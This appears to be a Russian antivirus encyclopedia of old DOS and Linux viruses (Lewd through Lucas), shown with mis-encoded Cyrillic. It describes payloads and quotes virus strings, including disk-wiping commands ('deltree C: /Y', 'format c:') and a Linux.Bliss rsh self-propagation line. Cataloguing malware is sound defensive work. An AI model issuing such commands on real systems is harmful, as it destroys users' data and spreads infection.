Íåîïàñíûå ðåçèäåíòíûå âèðóñû. Ïî íå÷åòíûì ÷èñëàì ìåñÿöà ïûòàþòñÿ ÷åðåç
íåêîòîðîå âðåìÿ "ïîâåñèòü" ñèñòåìó. Èíîãäà âûâîäÿò íà ýêðàí òåêñò
"Ëþñÿ-à-à...". Lewd.3256 èíîãäà âûâîäèò íà ýêðàí òåêñò "Ãëàâíûé Öåíòð
Íàïóãèâàíèÿ.". Ñîäåðæàò òåêñò "1996 by Lewd-H".
Lewd.34907, 34918
Îïàñíûå ðåçèäåíòíûå âèðóñû. Ñîäåðæèò â ñâîåì òåëå êîä àðõèâàòîðà LHA
âåðñèè 2.13, êîòîðûé ïåðèîäè÷åñêè ïûòàþòñÿ çàïèñàòü íà äèñê, ñïðàøèâàÿ
îá ýòîì ðàçðåøåíèå ïîëüçîâàòåëÿ. À òàêæå ïåðèîäè÷åñêè âûâîäÿò ñëåäóþùèå
ñîîáùåíèÿ:
Íà÷èíàÿ ñ 1997 ãîäà àêòèâíî íà÷àëà ñâîþ ðàáîòó MDP áàçà ïî áîðüáå ñ
íåõâàòêîé ïðîãðàììíîãî îáåñïå÷åíèÿ.Ñåãîäíÿ ìû ïðåïðåäëàãàåì âàøåìó
âíèìàíèþ "File-Compression Program LHA version 2.13". Copyright 1997 by
MDP Base. ÓÑÒÀÍÎÂÈÒÜ? [y/n].
Àëëî íàðîä âû ÷å îáàëäåëè ó âàñ çäåñü åððîðà âûïîëçàåò.Áîëüøå íå
õóëèãàíüòå. Î-î-é è êóäà ýòî âû ïîëåçëè!!! Ãîëóá÷èê è âû äóìàåòå ýòî
âàñ ñïàñåò???
Âàì ñëåäîâàëî áû îáíîâèòü âàøó âåðñèþ äàíòèñòà WEBà.Îí æå âàì êàæäûé
ðàç îá ýòîì íàïîìèíàåò.Ñòàðøèõ íàäî ñëóøàòüñÿ!!! Ñ MDP áàçû äîíîñÿòñÿ
êðèêè áëàãîäàðíîñòè DRWEBó çà îòëè÷íûé Executable File Decompressor
íàïðèìåð PKLITE ñ ïàêøåé "-e" .Ïîáëàãîäàðèì åãî çà ýòî.ÓÐÀ!!! ÏÎÊÀ.
Óõ òû ó âàñ AIDSTESTèê åñòü.Ãäå îòêîïàëè? Íó åñëè íå õîòèòå òî ìîæåòå
íå îòâå÷àòü. Îïÿòü íà õàëÿâó? Àé-ÿ-ÿ-ÿ-ÿé êàê âàì íå ñòûäíî? ×òî áû
áîëüøå òàêîãî íå áûëî!
Íà MDP áàçå âñå ïî ïðåæíåìó.ÐÅÊËÀÌÍÀß ÏÀÓÇÀ.
Upgraded
Èçâèíèòå.Ýòîãî ó íàñ íåòó.Ïðèõîäèòå çàâòðà.
Âû òî÷íî õîòèòå ñòåðåòü ýòó äèðåêòîðèþ?
Íó âåäü îíà æå èñ÷åçíåò!Âû óâåðåíû?
Íåò íå ìîãó.Ïðàâäà!Èäèòå ïîäóìàéòå à ïîòîì ïðèéäåòå.
Íó óæ íåò.Âû ìàëî äóìàëè.Íàäî âñå õîðîøåíüêî îáäóìàòü!
Íó ëàäíî òàê óæ è áûòü íî ïîìíèòå ÷òî ÿ âàñ ïðåäóïðåæäàë.
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ÌÀÍÈÀÊÀËÜÍÎ-ÄÅÏÐÅÑÑÈÂÍÛÉ ÏÑÈÕÎÇ.ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º Ïñèõè÷åñêîå çàáîëåâàíèå, ïðîÿâëÿþùååñÿ ïåðèîäè÷åñêè íàñòóïàþùèìè º
º ðàññòðîéñòâàìè íàñòðîåíèÿ.  òèïè÷íûõ ñëó÷àÿõ ïðîòåêàåò â ôîðìå ÷åðåäóþùèõñÿ º
º ôàç ÄÄ ìàíèàêàëüíîé, âûðàæàþùåéñÿ íåìîòèâèðîâàííî âåñåëûì íàñòðîåíèåì, è º
º äåïðåññèâíîé; îáû÷íî ïðèñòóïû áîëåçíè ñìåíÿþòñÿ ïðîìåæóòêàìè ïîëíîãî º
º çäîðîâüÿ. º
º  ìàíèàêàëüíîì ñîñòîÿíèè áîëüíûå ïîäâèæíû, íåóñèä÷èâû, ñóåòëèâû; ìèìèêà º
º îæèâëåíà, ðå÷ü óñêîðåíà, òåìáð ãîëîñà íå ñîðàçìåðÿåòñÿ ñ òðåáîâàíèÿìè º
º îáñòàíîâêè. Áîëüíûå ïîâûøåííî àêòèâíû, ìàëî ñïÿò, íî ïðè ýòîì íå èñïûòûâàþò º
º óñòàëîñòè; æàæäóò äåÿòåëüíîñòè, ñòðîÿò áåñ÷èñëåííûå ïëàíû, êîòîðûå òóò æå º
º ïûòàþòñÿ ïðèâåñòè â èñïîëíåíèå, íè÷åãî íå äîâîäÿò äî êîíöà, îòâëåêàþòñÿ.º
º Ðåàëüíûõ òðóäíîñòåé íåäîîöåíèâàþò. º
º Äëÿ äåïðåññèâíîé ôàçû õàðàêòåðíà íåìîòèâèðîâàííàÿ òîñêëèâîñòü, êîòîðàÿ º
º ñî÷åòàåòñÿ ñ äâèãàòåëüíîé çàòîðìîæåííîñòüþ è çàìåäëåííîñòüþ ìûøëåíèÿ. Ìàëàÿ º
º ïîäâèæíîñòü ìîæåò â òÿæåëûõ ñëó÷àÿõ ïåðåõîäèòü â ïîëíîå îöåïåíåíèå ÄÄ º
º äåïðåññèâíûé ñòóïîð; ÷àùå, îäíàêî, çàòîðìîæåííîñòü âûðàæåíà íå ñòîëü ðåçêî º
º èëè íîñèò ÷àñòè÷íûé õàðàêòåð, ñî÷åòàÿñü ñ ïîïûòêàìè êàêèõ-ëèáî îäíîîáðàçíûõ º
º äåéñòâèé. Ó äåïðåññèâíûõ áîëüíûõ ÷àñòî âñòðå÷àþòñÿ íåâåðèå â ñîáñòâåííûå º
º ñèëû, èäåè ñàìîîáâèíåíèÿ: áîëüíûå ñ÷èòàþò ñåáÿ íèê÷åìíûìè ëþäüìè, ñïîñîáíûìè º
º ïðèíîñèòü ñâîèì áëèçêèì ëèøü íåñ÷àñòüå. Ñ âîçíèêíîâåíèåì ïîäîáíûõ èäåé º
º ñâÿçàíà îïàñíîñòü ïîïûòîê ê ñàìîóáèéñòâó, ÷òî òðåáóåò îñîáîé áäèòåëüíîñòè ñî º
º ñòîðîíû îêðóæàþùèõ. Ïðè ãëóáîêîé äåïðåññèè áîëüíûå îùóùàþò ïóñòîòó â ãîëîâå, º
º òÿæåñòü è ñêîâàííîñòü ìûñëè, ñ áîëüøîé çàäåðæêîé îòâå÷àþò äàæå íà º
º ýëåìåíòàðíûå âîïðîñû. Ñîí íàðóøåí, àïïåòèò ñíèæåí. º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
Ó âàñ ÷åãî êðûøà åäåò? Íà íîëü æå äåëèòü íåëüçÿ.ß ïîíèìàþ ÷òî ýòî ñëîæíî
ïîíÿòü íî íàäî áûòü áîëåå ðàññóäèòåëüíåå.
Àíí äàðà ðèÿ êèÿ ìàêàðåíà.Àíí äàðà ðèÿ ðèÿ ñîë äå ðèî.
Lightness.1466
Î÷åíü îïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. Åñëè çíà÷åíèå ñåêóíä
ñèñòåìíîãî âðåìåíè ðàâíî 59, òî âèðóñ óíè÷òîæàåò âñå îòêðûâàåìûå *.PAS-
ôàéëû, çàïèñûâàÿ â íèõ òåêñò:
program Håâûíîñèìàÿ ëåãêîñòü Áûòèÿ Å.Ëåòîâà è ìîå ïîëíåéøåå
îòâpàùåíèå âñåãî ïpîãpåñèâíîãî ÷åë-âà:
ïîïñ, påïñ, påéâñ, õàêåpñ è òîìó ïîäîáíûé êàë
uses ÃpÎá
const Åãîp Ëåòîâ = 1964...Âå÷íîñòü
var Punk Rock íå çàäóøèøü íå óáüåøü
begin
ïÀÑÊÀËÜ - âÿçêîå äåpüìî ñèíòàêñè÷åñêèõ êîíñòpóêöèé
ïÀÑÊÀËÜ - îpóäèå äèêòàòópû äåpüìîêpàòîâ
ïÀÑÊÀËÜ - êó÷à ãîâíà èç çà êîòîpîé íå âèäíî ÑÂÅÒËÎÃÎ ÁÓÄÓÙÅÃÎ
ATTENTION!!! Â ÂÀØÈÕ ÌÎÇÃÀÕ ÆÈÐ-Å-Å-Ò ÏÎÏÑ!!!
end.
Òàêæå â 10:59 ïîìåùàåò â áóôåð êëàâèàòóðû îäíó èç ñëåäóþùèõ ñòðîê:
deltree C: /Y
arj m temp *.*
format c:
defrag c: /F
LightNing.2366
Íåîïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Ïî àëãîðèòìó çàðàæåíèÿ î÷åíü
ïîõîæ íà âèðóñû ñåìåéñòâà OneHalf. Íå çàðàæàåò ôàéëû *AN.*,*AV.*,*ND.*,
*OD.*. Ñîäåðæèò òåêñò "Lightning ...".
LightNing.4251
Î÷åíü îïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Øèôðóåò ñåêòîðà äèñêîâ.
Ïðè îòêðûòèè *.PAS-ôàéëîâ ïûòàåòñÿ íàéòè â 512 ïîñëåäíèõ áàéòàõ ýòèõ
ôàéëîâ ñòðîêó "BEGIN" è âñòàâëÿåò ñðàçó æå ïîñëå íåå ñòðîêó
"inline($b9/$02/$00/$e2/$fb);" èëè "inline($ea/$f0/$ff/$00/$f0);". Íî
äåëàåò ýòî òàêèì îáðàçîì, ÷òî ïðè ïðîñìîòðå òàêîãî ôàéëà â òåêñòîâîì
ðåäàêòîðå äàííûå ñòðîêè îêàçûâàþòñÿ íå âèäíû - ðàñïîëàãàþòñÿ çà ïðàâîé
ãðàíèöåé ýêðàíà, çà 80 êîëîíêîé.. Âèðóñ íå çàðàæàåò ôàéëû, ñîäåðæàùèå â
ñâîåì èìåíè áóêâîñî÷åòàíèÿ èç ñòðîêè "AIDRWE-VADSCAN". Ñîäåðæèò ñòðîêè
""LightNing" (c) 12.95 by ML, Krasnodar", "MetaMorphic Generator (MMG)
v1.0".
Likeness.3551
Î÷åíü îïàñíûé ðåçèäåíòíûé ôàéëîâî-çàãðóçî÷íûé ïîëèìîðôíûé âèðóñ. Î÷åíü
ïîõîæ íà âèðóñû OneHalf. Ïî î÷åíü ïîõîæåìó àëãîðèòìó çàøèôðîâûâàåò
ïåðâûé æåñòêèé äèñê.Íî ïðè àêòèâíîì ðåçèäåíòíîì âèðóñå äàííûå èçìåíåíèÿ
íå çàìåòíû, ò.ê., âèðóñ ïûòàåòñÿ ðàñøèôðîâûâàòü çàøèôðîâàííûå ñåêòîðà
äèñêà "íà ëåòó" ïðè îáðàùåíèè ê íèì.Íî ïðîöåäóðà øèôðîâêè è ðàñøèôðîâêè
ñîäåðæèò ìàññó îøèáîê, èç-çà êîòîðûõ èíôîðìàöèÿ ìîæåò áûòü ðàñøèôðîâàíà
íåïðàâèëüíî.Ïðè èíñòàëëÿöèè â ïàìÿòü âèðóñ ìîäèôèöèðóåò êîä ðåçèäåíòíîé
ïðîãðàììû TBDSK, åñëè îíà ïðèñóòñòâóåò â ïàìÿòè. Íå çàðàæàåò ôàéëû,
íà÷èíàþùèåñÿ íà: ADINF, ANTI, AIDS, DRWEB,TB,SCAN,CHK. Ïðîãðàììà Dr.Web
íå ðàñøèôðîâûâàåò äèñê ïðè íàõîæäåíèè â MBR âèðóñíîãî êîäà. Íî ïðè
íàõîæäåíèè â ïàìÿòè ðåçèäåíòíîé êîïèè âèðóñà, Dr.Web ìîäèôèöèðóåò åãî
êîä òàêèì îáðàçîì, ÷òî âèðóñ ñàì áóäåò ðàñøèôðîâûâàòü çàøèôðîâàííûå
ñåêòîðà íà äèñêå ïðè îáðàùåíèÿõ ê íèì. Äëÿ òîãî, ÷òîáû ïîïûòàòüñÿ
ðàñøèôðîâàòü âåñü äèñê íåîáõîäèìî óñòàíîâèòü ðåæèì ïðîâåðêè âñåõ ôàéëîâ
âî âñåõ êàòàëîãàõ ïåðâîãî æåñòêîãî äèñêà è çàïóñòèòü òåñòèðîâàíèå
ïðîãðàììû Dr.Web. Íî íàèáîëåå ïðàâèëüíûì áûëî áû, ïðè îáåçâðåæåííîì
âèðóñå â ïàìÿòè ñêîïèðîâàòü âñþ âàæíóþ èíôîðìàöèþ íà ðåçåðâíûå
ìàãíèòíûå íîñèòåëè.
Linux.Bliss.17892, 18064
Íåîïàñíûå íåðåçèäåíòíûå âèðóñû,"îáèòàþùèå" â ñðåäå Linux (ðàçíîâèäíîñòü
ÎÑ Unix) è çàðàæàþùèå èñïîëíÿåìûå ôàéëû â ôîðìàòå ELF.Íàïèñàíû íà ÿçûêå
GNU C. Âíåäðÿþòñÿ â íà÷àëî ELF-ôàéëîâ, ñäâèãàÿ ïðîãðàììíûé êîä âíèç.
 êîíåö èíôèöèðîâàííûõ ôàéëîâ âèðóñû çàïèñûâàþò òåêñòû:
Linux.Bliss.17892: infected by bliss: 00010002:000045e4
Linux.Bliss.18064: infected by bliss: 00010004:000048ac
 ïðîöåññå ñâîåé "ðàáîòû" âèðóñû ìîãóò âûâåñòè ñîîáùåíèÿ:
already infected
skipping, infected with same vers or different type
replacing older version
replacing ourselves with newer version
infecting: bytes
infect() returning success
been to already!
traversing
our size is
copy() returning success
copy() returning failure
disinfecting:
not infected
couldn't malloc bytes, skipping
couldn't read() all bytes
read bytes
happy_commit() failed, skipping
couldn't write() all bytes, hope you had backups!
successfully (i hope) disinfected
Debugging is ON
Disinfecting files...
using infection log:
À òàêæå ñîäåðæàò â ñâîåì òåëå òåêñòû:
dedicated to rkd
/tmp/.bliss
asmlinkage int sys_umask(int mask)
mask&023000 return if(mask&023000) {current->uid = current->euid =
current->suid = current->fsuid = 0; return old&023000} } bliss.%s.%d
-l rsh%s%s %s 'cat>%s;chmod 777 %s;%s;rm -f %s' doing popen("%s"
/.rhosts r %s %s .rhosts: %s, %s localhost doing do_worm_stuff() /etc
/hosts.equiv hosts.equiv: %s HOME --bliss- uninfect-files-please
disinfect-files-please
version %d.%d.%d (%.8x)
Compiled on Sep 28 1996 at 22:24:03
Written by electric eel.
dont-run-original
just-run-bliss
dont-run-virus
dont-run-bliss
just-run-original
exec
infect-file unsupported version
help help? hah! read the source!
/proc/loadavg %d.
loadav is %d
bliss was run %d sex ago, rep_wait=%d
/tmp/.bliss-tmp.%d execv /bin
PATH : /usr/spool/news /var/spool/news wow
LittleBoy.944
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Èíîãäà âûâîäèò íà ýêðàí òåêñò:
!!! ÂÛÐÓÑÑ !!!
ÓÕ ÊÀÊ ÑÒÐÀØÍÎ
Ñîäåðæèò òàêæå òåêñò "by Little Boy.1995.V0.3(SIMPLE".
LivingDeath.3766
Î÷åíü îïàñíûé ðåçèäåíòíûé ñòåëñ-âèðóñ. "Ïåðåõâàòûâàåò" INT 8, 13h, 21h.
Çàðàæàåò EXE-ôàéëû è MBR æåñòêîãî äèñêà. Ïðèìåðíî ÷åðåç ìåñÿö ïîñëå
çàðàæåíèÿ MBR âèðóñ ÷èòàåò â ïàìÿòü 255 ïåðâûõ ñåêòîðîâ ïåðâîãî
æåñòêîãî äèñêà, çàïèñûâàåò íà èõ ìåñòî ñëó÷àéíóþ èíôîðìàöèþ è âûâîäèò
òåêñò:
I am the Living Death.
I am coding your hard disk now.
Your FAT is destroyed and his copy is only in memory.
If you set power off, all your data will be lost !!
Ïîñëå ÷åãî ïðîèçâîäèò çàøèôðîâûâàíèå âñåãî ïåðâîãî æåñòêîãî äèñêà. Ïî
îêîí÷àíèè äàííîé øèôðîâêè âèðóñ çàïèñûâàåò íà ìåñòî èíôîðìàöèþ 255
ïåðâûõ ñåêòîðîâ è âûâîäèò ñòðîêó:
Press any key ...
Ïðè îáðàùåíèè ê çàøèôðîâàííûì ñåêòîðàì ÷åðåç INT 13h âèðóñ
ðàñøèôðîâûâàåò ñîäåðæèìîå äàííûõ ñåêòîðîâ "íà ëåòó". Òàêèì îáðàçîì, â
èíôèöèðîâàííîé ñèñòåìå ñîäåðæèìîå ïåðâîãî æåñòêîãî äèñêà
ðàñøèôðîâûâàåòñÿ ðåçèäåíòíîé êîïèåé âèðóñà. Ïðè çàãðóçêå ñ
èíôèöèðîâàííîãî óæå çàøèôðîâàííîãî æåñòêîãî äèñêà âèðóñ âûâîäèò òåêñò:
I am the Living Death.
Press any key ...
È æäåò íàæàòèÿ íà ëþáóþ êëàâèøó.
Lizard.1967
Îïàñíûé ðåçèäåíòíûé (íà óðîâíå Windows VxD-äðàéâåðà) âèðóñ. Çàðàæàåò
DOS EXE-ôàéëû è ñîçäàåò âèðóñíûé VxD-äðàéâåð. Ïðè ñòàðòå çàðàæåíîãî
EXE-ôàéëà âèðóñ ñîçäàåò ñâîé VxD-äðîïïåð (ïðè åãî îòñóòñòâèè) â îäíîì
èç êàòàëîãîâ ñèñòåìû:
c:\windows\system\iosubsys\lzd.vxd,
c:\win95\system\iosubsys\lzd.vxd,
c:\windows.000\system\iosubsys\lzd.vxd.
Ïðè ñòàðòå MS-Windows âèðóñíûé äðîïïåð àâòîìàòè÷åñêè çàãðóçèòñÿ â
ñèñòåìó. Äàëåå Lizard.1967 çàðàæàåò DOS EXE-ôàéëû ñòàíäàðòíûì ñïîñîáîì
ïðè ïîïûòêå äîñòóïà ê íèì. 26 îêòÿáðÿ âèðóñ óäàëÿåò ýòè ôàéëû. Ñîäåðæèò
òåêñò "Lizard by Reptile/29A".
Lmd.2000
Íåîïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Èíîãäà âûâîäèò íà ýêðàí òåêñò:
DOS/4GW Protected Mode Run-time Version 1.95
Copyright (c) Rational Systems, Inc. 1990-1993
Òàêæå ìîæåò âûâåñòè íà ýêðàí ôîòîãðàôèþ Ëîçèíñêîãî Ä.Í. è òåêñò
"Lozinsky MuST DiE!".
Lobotomy.821
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Ïîñëå çàðàæåíèÿ ôàéëà ìîæåò âûâåñòè
òåêñò:
Ëåòíèé äîæäèê íàïóãàë ...
Ëåòíèé äîæäèê íàïóãàë ...
Ëåòíèé äîæäèê íàïóãàë ...
Ëåòíèé äîæäèê íàïóãàë ...
Ëàà-áà-òà-ìèÿ ...
Ëàà-áà-òà-ìèÿ ...
Ëàà-áà-òà-ìèÿ ...
Ëàà-áà-òà-ìèÿ ...
Ëàà-áà-òà-ìèÿ ...
Ëàà-áà-òà-ìèÿ ...
Ëàà-áà-òà-ìèÿ ...
Ëàà-áà-òà-ìèÿ ...
Ëàà-áà-òà-ìèÿ ...
Ëàà-áà-òà-ìèÿ ...
*** LOBOTOMYÿ v1.1beta (c)1995 MSfVC *** +: ***
Lobotomy.966
Îïàñíûé íåðåçèäåíòíûé âèðóñ. Óäàëÿåò òàáëèöû ðåâèçîðà ADinf íà âñåõ
äèñêàõ. Ìîæåò âûâåñòè òåêñò:
RESET your machine and soon, you`ll know,
that I`m the Natural_Born_Killer ...
v1.1 (c)95_MSfVC Bye ...
ïîïûòàòüñÿ óñòàíîâèòü ïàðîëü "LOBOTOMY" â CMOS Setup è "çàâåñèòü"
ñèñòåìó.
Locust.735
Îïàñíûé ðåçèäåíòíûé âèðóñ. Ïåðåõâàòûâàåò INT 09,21h,2Fh. Ñ âåðîÿòíîñòüþ
1/8 áëîêèðóåò íàæàòèÿ íà êëàâèøè Escape, Enter èëè Space. È â 1 èç 32
ñëó÷àÿõ èçìåíÿåò íàæàòèå íà êëàâèøè ñ ëàòèíñêèìè áóêâàìè "A", "E", "O"
íà ðóññêèå "À", "Å", "Î". Ñîäåðæèò òåêñòû ".COM", "Locust".
Locust.1456
Íåðåçèäåíòíûé âèðóñ. Çàðàæàåò îäèí ôàéë - êîìàíäíûé ïðîöåññîð, êàê
ïðàâèëî COMMAND.COM, óêàçàííûé ÷åðåç ïåðåìåííóþ ñðåäû COMSPEC. Ïðè÷åì,
åñëè ðàçìåð COMMAND.COM íå ïðåâûøàåò 53336 áàéò, åñëè îí íå ôîðìàòå
EXE-ôàéëà, è åñëè COMMAND.COM ñîäåðæèò îáëàñòü ïîâòîðÿþùèõñÿ áàéò â
êîíöå ôàéëà. Âèðóñ èçìåíÿåò ïåðâûå 3 áàéòà èíôèöèðóåìîãî ôàéëà, åñëè
ïåðâàÿ èíñòðóêöèÿ íå JUMP èëè 3 áàéòà èç îáëàñòè ïåðâîãî ïåðåõîäà, åñëè
ïåðâàÿ êîìàíäà - JUMP, íà êîìàíäó ïåðåõîäà íà âèðóñíûé êîä, êîòîðûé
Locust.1456 çàïèñûâàåò â ñåðåäèíó ôàéëà. Ñîäåðæèìîå æå ìåñòà âíåäðåíèÿ
âèðóñà, ïåðåíîñèòñÿ â îáëàñòü ïîâòîðÿþùèõñÿ áàéò. Ðàçìåð
èíôèöèðîâàííîãî ôàéëà óìåíüøàåòñÿ íà 240 áàéò. Âèðóñ ñîäåðæèò îøèáêè,
ñëåäñòâèåì êîòîðûõ âîçìîæíî íåòî÷íîå âîññòàíîâëåíèå ôàéëà ïðè åãî
ëå÷åíèè. Èíîãäà ìîæåò çàïîëíèòü ýêðàí ñòðîêîé "I'm Sleep-walker.".
Ñîäåðæèò çàøèôðîâàííóþ ñòðîêó "(LOCUST-3)".
Locust.2486
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Åñëè ôàéë ñîäåðæèò â êîíöå îáëàñòü èç 2486
ïîâòîðÿþùèõñÿ íóëåâûõ áàéò, òî âèðóñ çàïèñûâàåò ñâîé êîä â äàííóþ
îáëàñòü, èíà÷å âíåäðÿåòñÿ â êîíåö ôàéëà. Ïðè íåàêêóðàòíîé òðàññèðîâêå
âèðóñ âûâîäèò ñîîáùåíèå:
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º Long Live Soviet Hackers! º
º (LOCUST - 2) º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
ïîñëå ÷åãî èçäàåò íåêèå çâóêè ñ ïîìîùüþ äâèãàòåëåé ôëîïïè-äèñêîâîäîâ.
Login.2071
Íåîïàñíûé ðåçèäåíòíûé ïîëèìîðôíûé âèðóñ. Âíåäðÿåò ïîëèìîðôíûé
ðàñøèôðîâùèê â ñåðåäèíó çàðàæàåìîãî ôàéëà, à îñíîâíîé çàøèôðîâàííûé êîä
â êîíåö ôàéëà. 10 ÷èñëà êàæäîãî ìåñÿöà âûâîäèò íà ýêðàí òåêñò "This is
Kustanai-Login. Is devoted Kuzmina Olya. TVA-96 me 16!"."Ïåðåõâàòûâàåò"
INT 9, 21h. Ïðè ñòàðòå ïðîãðàììû Login, âèðóñ êîíòðîëèðóåò íàæàòèÿ íà
êëàâèøè è çàïèñûâàåò ñêàí-êîäû äàííûõ êëàâèø â ñâîé áóôåð, íàõîäÿùèéñÿ
â ïàìÿòè. Íå çàðàæàåò ïðîãðàììû,èìåþùèå â ñâîåì áóêâîñî÷åòàíèÿ Aids,
Adinf, DrWeb, Scan, Command.
Lokjaw.Firefly.1087
Îïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. Ïðè ñòàðòå íåêîòîðûõ
àíòèâèðóñíûõ ïðîãðàìì, óäàëÿåò èõ. Ñîäåðæèò òåêñòû:
[Firefly] By Nikademus
Greetings to Urnst Kouch and the CRYPT staff.
American Jesus
Dont Pray On Me
Recipe for HAte
Atomic Garden
Its Dead Jim
Lokjaw.Firefly.1106
Îïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. Ïðè ñòàðòå íåêîòîðûõ
àíòèâèðóñíûõ ïðîãðàìì, óäàëÿåò èõ. Ñîäåðæèò òåêñòû:
[Firefly] By Nikademus
Greetings to Urnst Kouch and the CRYPT staff
Psalm 69
Every day is Halloween
Happiness in Slavery
The land of Rape and Honey
Its Dead Jim
Lokjaw.Zwei.808, 894
Îïàñíûå ðåçèäåíòíûå âèðóñû-ñïóòíèêè. Ïðè ñòàðòå íåêîòîðûõ àíòèâèðóñíûõ
ïðîãðàìì, óäàëÿþò èõ è âûâîäÿò íà ýêðàí êàðòèíêó:
(o) (o)
ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
U U U U U U U U U U U U U U U U U U U U U U U U U U U U U U U U U U U U U
ÿ ÿ ÿ ÿ ÿ ÿ ÿ ÿ ÿ ÿ ÿ ÿ ÿ ÿ ÿ ÿ ÿ ÿ ÿ ÿ ÿ ÿ ÿ ÿ ÿ ÿ ÿ ÿ ÿ ÿ ÿ ÿ ÿ ÿ ÿ ÿ ÿ
ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
Ñîäåðæàò òåêñò "Lokjaw-Zwei".
Lonely.1000
Íåîïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. "Ïåðåõâàòûâàåò" INT 9, 1Ch,
21h. Çàðàæàåò ôàéëû ïðè èõ çàïóñêå èëè çàêðûòèè. Ïðè îòêðûòèè
èíôèöèðîâàííûõ ôàéëîâ âèðóñ "èçëå÷èâàåò" èõ. Ïðè ââîäå ñ êëàâèàòóðû
ñëîâà "ìàëûø" âèðóñ îòêëþ÷àåò ðåæèì çàðàæåíèÿ ôàéëîâ, íî îñòàâëÿåò
ðåæèì "ñàìîèçëå÷èâàíèÿ". Ïðîÿâëÿåòñÿ "çàïàäàíèåì" ëåâîé êëàâèøè Shift.
Ñîäåðæèò òåêñò ""Îäèíî÷êà" v1.0 ÕÀÈ ê.506 1995ã.".
LordZer0.372
Íåîïàñíûé âèðóñ. Ñîäåðæèò òåêñò "Swedish Warrior v1.0 by Lord Zer0.".
Lost.596
Ñîäåðæèò òåêñòîâóþ ñòðîêó "* LOST *".
Lout.805
Îïàñíûé ðåçèäåíòíûé âèðóñ. Èíîãäà âûâîäèò íà ýêðàí ôðàçó "Àíäðååâ - õàì
è æàäèíà.". Ïîñëå ÷åãî ìîæåò îáíóëèòü â Boot-ñåêòîðå äèñêà C: çíà÷åíèå
êîëè÷åñòâà ãîëîâîê äèñêà (+1Ah).
LR1.2884
Îïàñíûé ðåçèäåíòíûé øèôðîâàííûé âèðóñ. Óäàëÿåò ôàéëû CHKLIST.MS,
CHKLIST.CPS, ANTI-VIR.DAT, SMARTCHK.CPS. Ïðè íàæàòèè íà Alt-PrtSc
(SysRq) âèðóñ âûâîäèò òåêñò "LR1#00008", ãäå ÷èñëîâîå çíà÷åíèå - ýòî
íîìåð ïîêîëåíèÿ âèðóñà. Ñîäåðæèò òåêñòû:
I love you, I'll kill you,
but I love you for ever.
(-) Enigma.
... bum, bum, bum (...) bang, bang ...
It's nice to be important
but it's more important to be nice. (..?)
Uprzejmie prosimy pana Sella
o ponowne umieszczenie opisâw wirusâw
wÑwnÆtrz programu 'MkS'.
Hello! I'm LastReplicator1 virus.
LSD.1600
Î÷åíü îïàñíûé, çàìåùàþùèé ïðîãðàììíûé êîä, âèðóñ. Ïîñëå çàðàæåíèÿ âñåõ
ôàéëîâ òåêóùåì êàòàëîãå ïðîèçâîäèò ãðàôè÷åñêèé âèäåîýôôåêò (äâèãàþùèåñÿ
öâåòíûå óçîðû) è âûâîäèò òåêñò:
LSD ViRuS 1.0
Coded By Death Dealer 4/29/94
[TeMpEsT -94]
Òàêæå ñîäåðæèò òåêñò "Author:Death Dealer Of [TeMpEsT]Virus:[LSD]".
Lucas.1871
Íåîïàñíûé íåðåçèäåíòíûé øèôðîâàííûé âèðóñ. Âûâîäèò íà ýêðàí òåêñò:
Ý Þ Ý
Þ ÜÜÜÜÜÜ Þ Þ
ÜÜÛßß ßßÜÜ Ý
ß ßßÜÞ
Ü ß YOu aRe
Û ²²² Üß
Þ±±±±±±±± ßÜ ²²± Üßß iNFeCteD bY
Þ±±Ûßßßß±° ßÜÜ ÜÜßß
Þ±±ß±±±±±° °±²²²²² HarMLeSS ViRuS
Þ±±±±±±±±° ±±²²²²²
Þ±±Ûßßßß±° °±²²²²²²± I am iNFECtiNG
Þ±±ßßßßß±° ²²²²²²²²°
Þ±±±±±±±±° ±±²²²²±±±° ONLy *.CoM FileS
Þ±±ÛßßßÛ±° Þ Þ
Þ±±ß±±±ß±° Þ Þ iN CuRReNt DireCToRy
Þ±±±±±±±±° Þ Þ
Þ±±ßßÛßÛ±° Þ Þ
Þ±±ßßßßß±° Þ Þ (R)
Þ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± Greetings to
Þ±±Û±ÛßÛ±±±¦±±±±±ÚÄĬ±±ÚĬ±±±ÚÄĬ±±±° V.N. Lukin (LUCASS)
Þ±±ßß߱߱±±¦±±±±±ÃÄÄ´±±ÃÄÁ¬±±ÀÄĬ±±±° from 20th Faculty
Þ±±±±±±±±±±ÀÄÄÙ±±Á±±Á±±ÀÄÄÙ±±ÀÄÄÙ±±±° of MAI
°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°°
It is a time of Civil War. Using fear and intimidation,
the Empire seeks to impose a New Order on the galaxy.
Only the Rebel Alliance stands in the way of their evil plans.
Not yet willing to confront the Empire directly, the Rebels are
